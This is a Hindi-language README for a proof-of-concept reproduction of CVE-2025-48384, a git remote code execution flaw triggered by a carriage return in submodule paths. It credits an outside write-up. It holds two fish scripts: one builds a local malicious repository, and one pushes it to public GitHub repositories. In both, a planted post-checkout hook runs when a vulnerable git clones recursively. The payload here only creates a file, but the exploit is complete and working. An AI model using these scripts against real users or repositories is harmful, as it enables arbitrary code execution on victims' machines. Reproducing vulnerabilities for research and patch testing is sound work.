
CVE-2025-48384 का पुनरुत्पादन: सबमॉड्यूल पथों में carriage return injection के माध्यम से git clone submodule RCE, एक स्थानीय परीक्षण स्क्रिप्ट और GitHub push workflow के साथ।
https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384 से पुनरुत्पादन। सभी श्रेय डेविड लीडबीटर को।
यह भेद्यता का एक बुनियादी पुनरुत्पादन प्रयास है।
ट्रिगर करने के लिए, कमजोर git संस्करण पर git clone --recursive https://github.com/acheong08/CVE-2025-48384 करें और आप पाएंगे कि अचानक /tmp/fishsucks फ़ाइल दिखाई देती है।
मैं git संस्करण 2.50.0 पर पुनरुत्पादन करने में सक्षम था।
नीचे स्थानीय रूप से परीक्षण के लिए उपयोग की जाने वाली स्क्रिप्ट है।
#!/usr/bin/fish
git init sub
echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook
git init repo
git -C repo -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C repo mv sub (printf "sub\r")
git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule
git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"
rm -rf ./repo ./sub ./bad-clone
Github पर पुश करने के लिए संशोधित स्क्रिप्ट:
#!/usr/bin/fish
if not test -d sub
git clone https://github.com/acheong08/totallynotsuspicious.git sub
else
git -C sub pull
end
echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook; or true
git -C sub push origin HEAD
rm -rf repo
git init repo
git -C repo -c protocol.file.allow=always submodule add https://github.com/acheong08/totallynotsuspicious.git sub
git -C repo mv sub (printf "sub\r")
git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule
git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"